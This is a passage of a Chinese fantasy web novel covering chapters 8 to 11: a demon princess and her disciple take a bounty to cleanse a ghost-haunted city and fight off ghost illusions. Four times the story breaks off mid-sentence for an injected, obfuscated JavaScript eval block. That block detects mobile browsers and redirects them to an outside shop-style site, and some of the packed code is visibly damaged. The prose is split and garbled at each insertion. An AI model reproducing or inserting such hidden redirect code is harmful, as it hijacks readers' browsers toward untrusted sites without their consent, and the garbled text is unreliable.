梦里,她回了北荒。 父王带着子民们在城门处迎她。 她又做回了北荒帝姬,巨大的喜悦砸在头上令她有些晕眩。 大哥关心她在无间炼狱时的日子。 她正诉苦,二哥又横插进来,改不掉他那张贱嘴。 一路欢声笑语,停在了她回到自己居住的洞府时。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650648|143954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她万万没想到,屋里坐了一个男人。 “你……” 男人一刀捅进她的心口,昏暗之中,她只来得及听见那句十分耳熟的判词,“你该死。” “……” 清晨,岁妱拖着略显疲惫的身躯走出屋子时,同样从对面屋中走出来的柔烟震惊道:“你昨夜找男人去了?” 她转眼一想,“不对啊,我们妖族与男人欢好,只会灵台清明,神清气爽,怎么到了你这儿……” 不等她话音落下,岁妱道:“被男人捅了刀子。” 柔烟:? 岁妱从她身边走过,顿住:“还是两下。” “……” 柔烟将她上下打量过后,白眼上天,懒得理她。 “昨夜做梦,梦里捅的,这种情况在你们南荒有没有什么说法,譬如提前窥探了天机?” 若真是这样,她现在就拔刀。 柔烟脚步一顿,玩味的回头,双手环胸打量她,“你说的人……不会是……” 柔烟挤眉弄眼一番后,岁妱顺着她的目光看向了与沈听一同坐在窗前的男子。 岁妱点头,只等柔烟发话。 “这种情形,在我们南荒确实有说法。” 岁妱指尖按在了玉牌上,却骤然听见柔烟笑出声来,“你与他,有缘。” 岁妱:“……你没睡醒?” 他们从前是道侣,如今是师徒,有缘二字还需她说? 岁妱不想与她多费唇舌,转身要走时,却听见她又道:“我说真的,还缘分不浅呢。” 听出她话中的揶揄,岁妱只觉自己是脑子不清醒,才与她说这些。 柔烟笑的花枝乱颤,岁妱转身回了房。 从前岁妱觉着自个儿已经够爱瞧热闹了,谁知在她之上,还有一个柔烟。 接下来的三日,柔烟每日都来敲她房门,不说道两句不走。 好在那日过后她并未再做这种奇怪的梦,也就任她去了。 同类最知晓怎么治同类。 果不其然,她不理会之后,柔烟消停了不少。 上了逐云舟的第五日,逐云舟抵达了黑海。 她没问他们的任务是什么,只道了一句,“回来喝酒?” 柔烟挑眉,还未回应,她身旁的沈听便连连点头,“妱妱,等着我们!” 柔烟拍向沈听的脑袋,“走了。” 身影消失之际,似乎还能听见风声带来的余音,“师尊,能不能别打我的头?我疼。” 他们二人走后,不出一日,瀛洲便到了。 江衡的踪迹需要他们自己去寻,不好留在逐云舟上。 岁妱望着云雾之下的锦绣山河,指向东边的荒山,“先去那里将逐云舟收了。” 落后她半步的玉照,看向这片熟悉的地方,眼底闪过一丝异样。 逐云缓缓驶过的浮云如画卷散开,露出云下座落的红墙寺庙。 庙殿前的榕树上挂满了木牌,凉风吹过,木牌碰撞出风铃般清脆悦耳的声音。 树影斑驳间,唯有挂在最高处的玉牌显得格格不入。 玉牌轻晃,摇碎的日光拓出玉上刻痕,正是一个‘照’字。 8. 第8章 荒山无人,树木葳蕤,杂草丛生。 玉照将逐云舟收进玉牌的同时,岁妱手腕一转,身上的水墨纱衣变幻成了一件寻常衣裙。 在外抓人,还是需要掩人耳目一番。 若遇着同道,或是阻碍神差办事者,再变幻回来也不迟。 藕色内裙布料单薄,自胸口而下□□半露,而腰肢最细的地方,系着一条惹眼的朱红缎带,最外层的轻盈剔透的薄纱下,肌肤白腻,身姿曼妙。 褪去古板的水墨纱衣,少女傲人的容色被衬得格外娇艳。 岁妱蓦然想起,此次不止她一人出门,回头看向玉照时,却发觉他靠着一棵肉桂,垂首捏着玉牌不知在想什么。 “玉照。” 玉照敛目,颇有些心不在焉,“嗯?” 话落之时,星星点点的白光从眼前一晃而过,尽数没入他的玉牌之中。 耳边响起岁妱的声音,“这二十点灵光你拿着,凡界不比无间炼狱,若是我不在你身边,你也能有防身的法术可用。” 无间炼狱很抠。 这二十点灵光,估摸着使用三四十次法术便没了。 玉照温热的指尖细细抚过玉牌上的凹陷处。 他们此次任务也不过一百点灵光…… 她倒是大方。 “多谢师尊。” 岁妱怪异的瞧了他一眼,这人自离开无间炼狱后便当真乖顺了许多。 “换身衣裳吧,江衡是洲主,对三界的了解定然比寻常百姓多,若是被他听到点风声,咱们就更难找到人了。” “是。” 几息后,岁妱沉默的看着玉照,“凡界男子会穿这样颜色的衣裳……吗?” 藕色外衫穿在玉照身上格外惹眼,腰间系着的朱红缎带,更是衬得他唇红齿白,像是那……秦楼楚馆,以色侍人的小公子。 “你不觉着,这样有些惹眼?” 玉照目光掠过她的衣裳,轻笑道:“师尊以为,自己又好到哪儿去了?” 刚下过雨的荒山雾气未散,雨水从叶尖落进水洼。 涟漪过去后,岁妱微微侧头,目光落到水坑中模糊的身影上。 半斤八两。 岁妱难得觉着他说得对,沉默片刻才大手一挥,给自己换了身寻常女修所穿的留仙裙,怕玉照又跟着她学,是以替他换了身绣着金线的长袍。 这是她唯一留有印象的宗门弟子服了。 “好了,下山!” 眼下二人除了容色不俗外,瞧着与凡界修士并无两样。 - 山下城门内,叫卖声络绎不绝,人声鼎佛中车马嚷汇成了一片。 茶楼酒肆前,双手插袖的青年人靠着漆柱歇息,嘴里含着的狗尾草一上一下,来回晃悠。 “这位小哥,可以向你打听个事儿吗?” 青年人眼都不抬的伸手,“一两银子,你想打听什么都可以。” 右眼皮掀开一条细缝儿,懒散的扫了一眼与他说话之人。 可就在放才他道出一两银子的时候,跟前的人已经拉着同伴转身走了。 瞧着两人的背影,青年人猛地睁开眼睛追了上去,“等等,等等!” 岁妱看他,“怎么?要不成银子准备直接上手抢了?” 青年人讪笑:“哪能啊,方才我就是和两位开个小玩笑,不知两位仙师师从哪个宗门?想打听什么事儿啊?” 岁妱虽不知晓他为何突然变得如此殷勤,但他愿意搭话,她问问也不吃亏,“你可知瀛洲洲主如今在何处?” 青年人脸色一变,“仙师,我一个小老百姓哪能知晓洲主的去处,更何况前几日溧阳城发生之事早已传遍四海九州,眼下许多人都在找洲主呢。” “溧阳?”岁妱问。 青年人道:“是啊,一夜之间全死了,见不到一个活人,现在没人敢去那儿,除了修士。” “我看两位仙师气质不俗,难道不是应了那张悬赏令,去溧阳碰碰运气吗?” 岁妱从前在凡界走过几回,自然知晓他口中所说的悬赏令是什么。 凡界无论修士还是凡人都需要银子,凡人用银子过日子,修士用银子买丹药、法宝。 而悬赏令则是有钱有势的人想要得到一件东西,而发布任务,邀请四海九州有本事的人帮助,成功后便会给予相应的银两。 只是溧阳与悬赏令有何关系? 青年人说:“溧阳现在成了一座死城,据说城内阴魂不散,一到夜里便怪事频发,不知道是谁用悬赏令召集大能前去驱散阴魂,只要谁能让溧阳里的阴魂散去,便能得到三万两黄金。” 凡界的银子对岁妱而言无用,但青年人所说的发布悬赏令的那人,岁妱合理怀疑,或许是江衡,也或许与江衡有关? 眼下与其大海捞针,不如先去溧阳瞧瞧。 见岁妱意动,青年人眼珠子转动:“见两位也是修为高深之人,不若我替两位联络一下,送两位过去?” 有人带路,自然再好不过。 青年人走到一旁掏出一张传讯符,不知说了什么,片刻后笑嘻嘻的走回来,“走吧,我送两位过去。” 岁妱刚要抬步,却听玉照慢悠悠的道:“阁下不问问我们二人的修为便要送我们过去?就不怕我们有去无回?” 岁妱诧异回头,转眼想起,玉照便是生在凡界,对于这里的一些门道,自然比她清楚。 玉照不顾青年人略有些尴尬的神色,继续道:“也是,毕竟你只想赚一份赏钱,至于我二人如何,自然是生死有命,与你无关。” 青年人面红耳赤,满脸愠怒,“你胡说八道什么,我明明——” 在对上玉照看来的眼神后,话音戛然而止,青年背后生寒,只能看向一旁相对好说话的岁妱,“仙师……” 想到这人方才一直都落后姑娘半步,呈相护之意,再加之他偶然间看向这位姑娘的眼神,青年心里有数了。 “你夫君说话未免有些太难听了。” 岁妱:……? 不等岁妱反驳,青年人愤愤不平道:“我在这镇上见过的仙师不少,你们二人周身的气质一瞧便不是凡人,你夫君说我不问修为,那是因为我相信自己的眼光。如若觉得我在坑害你们,那在下就此告辞!” 岁妱啧了一声,这人眼光着实不错,过去的夫君也是夫君,这也能被他瞧出来,看来在眼力上还是有两把刷子。 但该说清楚的还是得说清楚。 岁妱正要反驳,却被玉照抢先一步,讥笑道:“若你眼光当真好,怎会瞧不出来我是她徒弟,而非夫君。” 青年嘴唇微张,‘有眼光’三个字如同一个巴掌狠狠抽在他的脸上。 羞恼之余,青年转身欲走,却被岁妱叫住,“但有一点你没说错,我们二人的确不是凡人。” 青年回头,少女笑眯眯的道:“还不送我们过去领赏钱?” 玉照双眸微眯,看向岁妱的目光不善。 察觉到身后之人的注视,可眼下不是解释的时候,岁妱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650649|143954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趁着青年不注意,悄悄对玉照眨了眨眼,嫣红的唇瓣无声地勾勒出几个字:稍安勿躁。 眸光从她的唇上一晃而过,下意识想要躲闪的眼睛被玉照强逼着留下。 若不心虚,为何不敢看?! 岁妱不知他心中的天人交战,看向青年,“我们如何过去?” 自从悬赏令发出,青年送去的修士没有四个也有三个,还是头一回遇到这么奇怪的两个人。 他掏出三张传送符来,递给岁妱与玉照一人一张,撇嘴道:“传送符十两银子才能买到一张,我要真是为了赏钱,怎会如此大方。” 青年又埋怨了几句,岁妱看了玉照一眼,无言的默契变为同时从符纸上燃起的火光。 青年说了半晌也不见有人理他,甫一抬头,顿时双目瞪圆,眼前哪里还有两人的身影。 他连忙燃起符纸,消失在了原地。 - 溧阳城外三里处,有一法宝落成的临时府邸。 青年赶到时,岁妱与玉照已经被金长老接了进去。 他咬牙跟上,却听见金长老问:“不知二人是何修为?” 方才还信誓旦旦夸下海口的少女,如今却用余光扫了他一眼,冷不丁的吐出两个字,“筑基。” 青年:“……” 察觉到金长老看来的目光,青年知晓这次栽了,只得转身灰溜溜的离开。 对于修士而言,筑基不过是刚刚走进踏道的门槛。 连他一个垃圾散修,都有筑基的修为,结果这二人倒好,瞧着人模人样的,却和他一样,废物不过。 筑基修为去溧阳? 敢坑他,看他们怎么死! 余光瞧见青年逃似的离开后,岁妱眼底漫出一丝笑意。 一千四百年来,除了玉照,还没人敢占她的便宜! “两位小友,当真只有筑基的修为?”金长老面色严肃,“两位可知溧阳如今的情形?可知以你们的修为,进去只有死路一条。” “悬赏令上可有说修为几何才能参与?” 金长老:“……不曾。” 岁妱笑道:“既如此,便是生死自负,修为如何应当不能成为阻止我们进去的理由?” 岁妱方才来时便远远的瞧了一眼。 溧阳城被下了结界,若要进去定会费一番功夫。 想要强行破开结界,势必不能使些清洁术这样的小法术,而一旦出手,便会留下气息,她不想过早的打草惊蛇,唯一的法子,便是以驱散阴魂的名义,光明正大的进去。 金长老并未再多说什么,“既然小友执意如此,那我便尊重小友的意愿,请二位跟我来。” 金长老带着二人穿过前院,朝着正堂走去。 耳边响起玉照的传音:“你为何要这样做?” 岁妱理所当然道:“你不是说了,他不顾修士身死便将人往这里送,若修为低的过来,哪怕知道里面危险不愿进去,他们也需要从这处再回去,一来一回耽搁的是修士,不让他吃点苦头,他怎知收敛。” 玉照眼里的笑意还不曾蔓延开来,便见岁妱侧头理所当然的道:“当然了,最重要的是,他想从我这儿占便宜,绝无可能!” 斜风吹拂少女耳侧的碎发,带着清浅的香味,涌入鼻中。 突然,一道愠怒的声音从正堂传来,惊飞了枝头的乌鸦,“区区筑基就敢接下悬赏令,还要与我们一起进城?金长老,我们是来驱散阴魂的,不是来奶孩子的!带两个拖后腿的算怎么回事!” 9. 第9章 声音穿堂而过。 岁妱与玉照同时抬眸看去。 正堂内坐着不下十人,男女老少皆有,模样不同,衣袍不同,连坐着的姿势都各有千秋。 可看向金长老的目光,却无一例外,皆带着不满。 说话那人穿着云纹绫袍,背着一把裹着白布的长剑,浑厚的嗓音清晰的传入每个人的耳朵里,“在座的,哪位不是宗门的亲传弟子,修为都在金丹以上,便是如此,都无人敢保证能完整的出来,更莫说还要带两个筑基弟子,这玩笑也未免太好笑了金长老!” “陈道友说的对啊金长老。”双腿盘在木椅上的少年,半个身子前后摇晃,从发间垂下的细穗在肩膀上扫来扫去,好不正经,“我们自保都难,若是还带两个拖油瓶,这不是给我们增加不必要的难度嘛。” 少年顿了一瞬,认真道:“所以得加钱。” 周遭因为那番话频频点头的众修士,听见‘加钱’二字,纷纷露出鄙夷的目光,不屑与之为伍。 “金长老,我只是想赚点银子,可没准备把命搭上。” “若你执意让那两位筑基弟子去溧阳,那在下只能告辞了。” “金长老……” 七嘴八舌的声音嚷成了一片。 金长老抬手,“各位……” 无人理会。 金长老深吸一口气,大声道:“各位!听我一言!” 众人停嘴,看了过来。 金长老:“悬赏令的规矩各位都清楚,若有要求,需尽数写在悬赏令上,不得梗概。我既然没有要求修为高低,莫说是筑基,就是练气的弟子想要进去,我也不能坏了规矩将人拦在门外。” 眼瞧着这些人又要发火,金长老连忙道:“自然,悬赏令上也并未说各位要一起进去一起出来,生死有命,那两位小友说了,无需任何人护着。” “简直狂妄!”陈彻冷笑一声,“你且请他们进来,我倒要瞧瞧是哪个宗——” 话音未落,他便瞧见一男一女从门外走了进来,而他们身上穿着的弟子服,正是与嚷嚷着要加钱的少年如出一辙。 少年张大了嘴。 陈彻讥笑,看向少年的目光带着浓浓的嘲讽,“原来是向来目中无人的天元宗弟子。” “不可能!你少瞎说!” 少年从椅子上跳了下来,走到岁妱与玉照身边,摸着下巴,面露疑惑的打量二人,“你们真是我天元宗的弟子?我为何从未在宗门内见过你们?” 岁妱刚来无间炼狱时虽然接过抓捕修士的任务,可到底是三百年前的事情了,如今凡界宗门的情形她也不甚了解。 怕说错话被这些人抓到把柄,连城门都不让他们进,岁妱只好对玉照使了个眼神。 玉照了然,上前一步,“我与师——” 声音短短停止一息,又续上,“师姐乃是外门弟子。” 少年把玩着金色的细穗,漫不经心的问:“外门弟子?哪个峰的?” 玉照从容道:“玄玉阁。” 天元宗的外门弟子,只拜阁,不拜峰。 把玩细穗的手指顿住,少年错愕,“还真是我们天元宗的。” 他诧异的目光在二人身前来回打量。 “愿回道友,既然这二人是你宗门的,还不赶紧将人遣回去,你作为宗主亲传弟子,总不能这点权利都没有吧?”陈彻奚落道。 愿回清了把嗓子,指着玉照,“你跟你师姐回宗门去吧,溧阳不是你们能去的地方。” 见二人没动,愿回皱眉,“怎么着?我这个师兄使唤不动你们了是不是?” “看来天元宗不过如此,天元宗的弟子,也不过如此。”陈彻屡着唇峰两侧的八字胡,云淡风轻的贬低让愿回炸了毛。 “再不走,我便传信给阁主,你们回去等着受罚吧!”愿回拼命给二人使眼色,让他们赶紧离开。 岁妱从玉照身后走出来,“师兄一定要我们回去?” “一定!” “没有转圜的余地?” “没有!” 岁妱点头,“好,那从即日起,我们退出宗门。” “好,你们……”愿回怔愣,“什么?” 大堂沉默一片,岁妱弯了眼睛,“我说,我们退出宗门啊,愿回道友。” 莫说别人,就连金长老都罕见的沉默下来。 头一回见为了接一个悬赏令,连宗门都不要的修士。 少年仍旧没有反应过来,目光下意识挪到玉照身上。 他嘴角轻扬,颔首,“师弟,自然是听师姐的。” “你、你们……”愿回回过神来,指着二人,上不来气,涨红着脸狠声道:“不识好歹!” 他转身冷着脸对众人道:“他二人的话你们都听见了,既不是我天元宗弟子,那他们的死活,与我无关。” 少年气的跑去一旁喝茶浇火。 众人面面相觑,无话可说。 人家宁愿退出宗门都要进溧阳,他们还能怎么办,只能往后站站,离这两个疯子远一点。 金长老:“既然各位达成一致,那便出发吧。” “谁跟他们达成一致了!”陈彻冷笑,“我陈彻把话放在这里,进城后,他人死活与我无关,别想让我出手救人,特别是那些修为低又要逞强的小修士!” 岁妱挑眉,用手肘碰了碰身侧的玉照,“听见没,说你呢。” 她声音并未刻意放低,是以在场的人,都听在了耳朵里。 玉照瞧了一眼被岁妱碰过的衣袖,应了一声,“知道了,师姐。” 陈彻看向岁妱。 岁妱对上他的目光,惊讶的指着自己,“你说我啊?” 不等陈彻回话,岁妱皱眉,“可是我师弟比我修为低啊,他还在练气期,难不成在场的还有比他修为更低的?” “……” 陈彻的脸色以肉眼可见的由红变黑,咬紧的后槽牙嘎嘣直响。 岁妱懒散的扫了他一眼。 气了? 气了好啊,她虽不能现在给他露上一手让他知晓谁才是姑奶奶,但让他憋一口气的本事,还是有的。 眼瞧着空气凝滞,寒气蔓延,金长老适时的站出来打圆场,“各位,正事要紧。” 陈彻横在鼻梁上的刀疤抽动了两下,一道传音落在岁妱耳畔,“我等着看你和你师弟怎么死在阴魂手上!届时,在下一定会去你们二人的坟前,请你二人喝酒!” 等了半晌,陈彻本以为少女被自己唬住了不敢回话。 刚嗤笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650650|143954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,便见少女动了动唇,理所当然的道:“你在等什么,我一个筑基弟子,又不会传音。” 陈彻:“……” 原本还凑在一起讨论进城之后如何如何的众人,突然安静,目光在陈彻与岁妱之间来回游走。 只见方才还能冷静的陈彻彻底怒了,“在溧阳城内,在座的谁若敢助他们一下,便是与我陈彻为敌!” 众人同情的看向岁妱二人。 少年冷漠的目光同样落在二人身上,只一眼,便又收了回去。 陆陆续续的,有人御剑有人掏出传送符,就连少年都拿出了一朵红莲,只待注入法力,便能变换成出行的法宝。 只有岁妱与玉照二人,并未有所动作。 “二位打算如何过去?”金长老问。 她与玉照没有传送符这些东西,逐云舟这般天界才有的出行法宝更不能在凡界露面。 倒是可以使用灵光飞过去,可他们一旦使用法力,便能被这些人察觉到他们并非凡人。 修士使用法力定会留下气息,气息中定会蕴含着此人修为几何。 她与玉照一个是妖,一个是飞升后的小神,他们留下的气息,但凡有些道行的都能窥探一二。 岁妱道:“溧阳离此处不过三里,不能走着去吗?” 话音刚落,便引来细密的笑声。 “她说什么?走着去?哈哈哈哈,她难道不知道……” 一人打断道:“诶,林道友,他们只是筑基弟子,不知道也是常事,莫要对他们太过苛刻了。” “更何况……”两人默契的看了一眼此处修为最高的陈彻,“陈道友说了,谁助他们就是与他为敌,他们要找死也不关咱们的事,少说点话吧。” 陈彻满意的看了众人一眼,这才双指并拢置于胸前,唤出他那把早已按捺不住,声声嗡鸣的利剑。 陈彻立于剑上,目光轻描淡写的扫了一眼岁妱,“各位,在下先行一步了。” 其余人纷纷跟上。 落在最后的少年缓步来到两人身前,低头拨弄着莲花瓣,“还以为多有本事,如今连城门都进不去了。” 愿回抬头,挑眉看向岁妱,“没了天元宗的庇佑,还得罪了陈彻,若是想活命,现在走还来得及。” 岁妱看向他的红莲,好奇询问:“你这是什么法宝?” 愿回得意道:“红莲观音座,四海九州仅有一个的上品法器。” “能载几人?” “四人。” 岁妱点头,“正好。” 愿回:? 岁妱指着自己与玉照,又点了一下他与他身后的弟子,“四个人,正好。” 愿回:“……” 少年的眼睛气成了两个圆圈,“我何时说过要载你,你凭什么这么理直气壮!你都已经退出宗门了!你方才都没给我留脸面,还想我载你们,做梦!” 岁妱惊讶,“我以为,陈彻方才那般奚落你,你定会咽不下这口气,没承想道友心胸这般宽广。” 愿回咬牙:“谁说我心胸宽广了,陈彻那厮,我迟早要让他知晓厉害!” “现在就有一个气死他的机会,你要不要?” 愿回皱眉,犹豫了一瞬,还是没忍住,问道:“什么?” 10. 第10章 红莲观音座确实能载四人。 艳丽的花瓣朝四周盛开,可以站立的花蕊处如同铺了一层软绵的地毯,他们四人站在其中并不拥挤,人与人之间的距离正好可以伸直手臂。 岁妱瞧了一眼前头双手环胸正在生闷气的少年,一直跟在他身边的小师弟顾岚青正焦头烂额的安慰。 很显然,那弟子不会安慰人。 “师兄,您可是咱们天元宗的首席大弟子,何苦跟两个不相干的人计较。” “不就是中了激将法嘛,您也不是第一次中招,别生气了。” “……” 闻言,少年气的浑身发抖。 与墨发交织在一起的金穗在夕阳下炸出一缕缕细丝。 岁妱原本真打算走过去的。 但他正好来跟前晃,还拿着一个能载多人的出行法宝。 能坐法宝,谁要走路。 只是这少年,过于好激了些,也是令人意外。 “愿回道友,待到了溧阳,若有需要帮忙的地方尽管开口。” 她的话字字句句都透露出与人交好的意味。 可岁妱忘了,她眼下在众人眼里,不过一个筑基弟子。 玉照不动声色的看了一眼前面的少年,眸底闪过一丝讥讽,先前是沈听,眼下又变成了愿回么。 “你看不起我?”少年不敢置信的回头,此时才总算明白了陈彻为何气到掉头发。 他能弱到让一个筑基弟子帮忙,他也不用回天元宗了。 “……不是。”岁妱反应极快,“我的意思是,若我与师弟有需要帮忙的地方,可以尽管开口吗?” “你当我耳聋啊!”愿回猛地扭头,动作太大,金穗夹着头发狠狠的甩在脸上,火辣辣的疼。 委屈与恼怒汇聚在眼底,他手腕一转,掐了个风行决。 脚底的红莲观音座突然加速,周遭的冷风吹在脸上与刀子刮肉一般的疼。 远远看去,红莲只剩残影,如陀螺悬在空中,朝着城门驶去。 愿回故意使坏,红莲行驶的并不平稳。 岁妱暗骂这小子不讲武德,身子左右摇晃,努力维持平衡,却仍旧差点摔下去。 若当真从半空摔下去,身子倒是无碍,但脸面可就无了。 藏在云履中的脚趾狠狠扣着红莲底座,若她现下是妖身,莫说平衡了,她长长的指甲能直接将这底座贯穿! 一个大拐弯,岁妱一时不查往后栽倒,即将下坠之时,她胡乱伸手,抓向玉照。 冰冰凉凉却又坚硬的手臂,足以支撑她将身板立起来。 “好险,差点就——” 话音戛然而止。 身前的人不知何时变了模样。 对上岁妱的那双眼睛空荡荡的,像是皮肉早已风干的骷髅眼,空洞的眼眶里爬满了正在蠕动的蛆虫,有一两只顺着眼眶落在了男人鼻尖的腐肉上。 此时站在岁妱身前的人尽管穿着她变幻出来的弟子服,可那张脸,像是煮烂到快要脱骨的熟肉,稀稀拉拉的黏在骨头上,早已看不清本来的面目。 这是—— 入阴! 死去的阴魂经过修炼有了道行,便能悄无声息的影响人的神识,使人进入幻境。 想来这就是方才在府邸时,她说要走着去溧阳,那些人笑话她的真实缘由。 没承想,这里的阴魂才死了几日,便有使人入阴的道行! 是她没打探清楚,竟一不小心着了道。 岁妱此时不敢轻举妄动,可这阴魂显然没有准备放过她! 那些蛆虫像是突然有了意识般,源源不断的从眼眶中爬出来,顺着下巴、脖颈,落到手臂上,朝着她爬了过来。 岁妱试图松开手,可掌心像是黏在了这阴魂的手臂上,动弹不得。 阴魂本就有意识,这种有修为的阴魂,除了没有躯体以外,与人并无两样。 “你我无冤无仇,让我入阴定有缘由,你想要什么可以直说,别玩这些招。” 话落,那阴魂不但没离开,还张开了嘴。 与眼眶同样的空洞,同样钻出来源源不断的蛆虫。 在爬向她的途中,这些东西变得越来越大,待触碰到她的指尖时,已有中指大小。 密密麻麻的痒意顺着手指传遍全身,那些蛆虫像是要将她变得和这阴魂一样恶心,毫不犹豫的朝着她的眼睛爬了过来。 岁妱气笑了。 从来没人和她玩过这么恶心的招数! 蛆虫顺着她的手臂爬到肩头,即将蠕动到脖颈时,被她一把抓住。 感受到掌心的黏腻软糯,岁妱浑身布满鸡皮疙瘩。 将蛆虫扔在脚下后,她用了极大的力气将其一脚踩死。 刚踩一只又来一只。 紧接着,速度越来越快,仅凭这种手段,不出半刻钟,她就会被蛆虫淹没吞噬。 她强忍着恶心,将布满小手臂的蛆虫一把撸到了地上,有些还来不及踩死的,会顺着她的裙角继续往上爬。 它们只会遵循主人的命令。 伤害不大,恶心人的本事极强。 阴魂似乎察觉到了她的无能为力,蛆虫放的更欢了。 若再这样下去,她不是累死,便是被恶心死。 岁妱不再管那些几乎推成小山争先恐后往她身上爬的蛆虫,而是捏紧拳头,照着阴魂的脸给上一拳。 正中鼻尖! 腐败的气味在一瞬间蔓延开来,指骨上还沾染着一些黑红的碎肉。 “呕……” 蛆虫爬到了她的嘴角。 岁妱连忙闭上嘴,因为呕吐而赤红的眼尾正得意的看着一脸懵的阴魂。 她不用法力,以妖族强大的肉身,依旧能对付区区一个阴魂。 阴魂回过神来,空洞的嘴一张一合之间又掉出来许多蛆虫,“你找——” ‘砰——’ 又是一拳。 正中他那说话还要吐点东西出来的嘴。 连凌星这样的魔族都能被她两拳打晕,更何况阴魂。 果不其然,它头掉了。 如长刀砍过的脖颈似泉水般往外汩汩冒着蛆虫。 懂了。 这人命中带蛆。 虽然没了脑袋,可那些蛆虫却如同有意识般往上堆叠,硬生生组合出了一个脑袋来。 只是阴魂现下有些警惕,不敢再轻易动手,只能用留出来的那双空眼,盯着岁妱。 真难缠。 岁妱没了耐心,正要拳脚相加往上招呼的时候,阴魂一个惊慌,突然发出一道声音,“师姐。” 岁妱以往从不觉着玉照的声音有这般温润,直到从那蛆脑袋的嘴里发出来。 配着这般恶心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650651|143954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的场景,都仍旧能让人神识清明。 阴魂继续蛊惑道:“师姐,你要杀了我吗?” 这种时候,岁妱不该与它多言,但实在忍不住,“你实在不行,让别的阴魂与你说说你什么模样呢?就这你还像学蛊惑人心那一套?你能蛊惑得了谁?” 阴魂顿了一瞬,仍旧不死心的道:“师姐,你再好好看看我,看看我是谁。” “你是蛆。” 岁妱毫不犹豫的打散了它的蛆头。 “师姐……” 有完没完! 岁妱正要再补上一拳头的时候,手腕被人从身后握住。 冷香跃进鼻中的一瞬,周遭的场景突然变幻。 眼下哪里还有什么蠕动的虫子,她仍旧站在红莲观音座上,只是四周一片昏暗,荒芜到只能瞧见乌鸦站在烧焦的树干上,不见一花一叶。 岁妱回头,对上玉照那张美如冠玉的脸,差点哭出来。 太好看了,简直太好看了! 与以往不同,岁妱此刻扬起脑袋看他的目光带着庆幸又满意,眼里似乎只有他。 玉照心神微颤,不过片刻又恢复如常,“你方才……瞧见什么了?” 一回想方才的画面,岁妱忍不住咽了口唾沫,不想再提。 “你方才是不是也着了阴魂的道,入阴了?” 玉照颔首。 岁妱问:“没用法力?” “没用。” “那你怎么破的?”最重要的是,竟然比她还快。 玉照道:“入阴便是进入阴魂的结界中,被它影响心绪,只要以强压强,让它先一步破心,便能出来了。” 道理是这个道理,岁妱问:“你便一点没有受到影响?” 玉照顿了顿,想起方才的场景。 那阴魂无论是变幻成焦骨还是张着血盆大口的怪物他都心无波澜。 除了,它学着岁妱的声音,唤他玉照时。 “……没有。” 岁妱闻言也没多问,只当他心性坚定,将来前途无量,“你放心,这趟任务,我会护着你。” 就当他方才将她叫醒的报酬。 不等玉照回话,岁妱转头将所有注意力都放在了愿回与他师弟身上。 两人正在互殴。 两张俊俏的脸上青紫交加,可见对方都下了死手。 眼瞧着城门已近,他们二人却还未清醒,岁妱瞧了一眼玉照,“一人一个?” 入阴时,只要身旁有清醒的人,便能如玉照方才那样将她带出来。 怕就怕身旁无人,或是无人能醒来。 岁妱走顾岚青身后,抓住他的肩膀,“溧阳到了,该进城了。” 不过片刻,顾岚青浑浊的眼神便清明过来。 与此同时,愿回也醒了。 他怔愣一息,骂道:“小爷修炼这么多年,竟然差点遭了阴魂的道!” 想来他方才所见,与他们有些不同。 否则以他的修为,不可能不动手,反而拳拳到肉。 好在,溧阳快到了。 顾岚青揉了揉眼睛,指着前方突然兴奋,“快看,陈道友他们在城门外等我们呢。” 不远处的城门外站着一群修士,其中几人正朝着他们招手。 顾岚青刚要挥手,玉照意味深长道:“看清楚了,他们不是修士。” 11. 第11章 不是修士,那是什么? 愿回闻言,顿时瞪圆了双目,“你的意思是……” 岁妱冷笑一声,“看样子,它们做这些的目的,是不想让我们进城了。” 愿回:“城里到底有什么?让这些阴魂对我们这般纠缠不休,刚刚是入阴,现在又要搞什么幺蛾子。” 随着距离城门越来越近,那些‘人’的面目也逐渐清晰起来。 